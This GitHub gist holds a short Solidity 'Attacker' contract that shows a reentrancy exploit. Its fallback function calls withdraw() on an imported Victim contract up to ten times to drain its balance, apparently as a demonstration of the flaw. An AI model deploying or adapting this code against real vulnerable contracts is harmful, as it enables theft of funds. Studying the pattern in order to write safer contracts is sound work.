Skip to content

Instantly share code, notes, and snippets.

@devonwesley
Created October 8, 2017 21:14
Show Gist options
  • Save devonwesley/ef444dc0715438b21446bd1993c86c4d to your computer and use it in GitHub Desktop.
Save devonwesley/ef444dc0715438b21446bd1993c86c4d to your computer and use it in GitHub Desktop.
This is an "Attacker"s smart contract that drains the balance of a "Victim"s contract that it calls recursively.
pragma solidity ^0.4.8;
import './Victim.sol';
contract Attacker {
Victim v;
uint public count;
event LogFallback(uint c, uint balance);
function Attacker(address victim) {
v = Victim(victim);
}
function attack() {
v.withdraw();
}
function () payable {
count++;
LogFallback(count, this.balance);
if (count < 10) {
v.withdraw();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment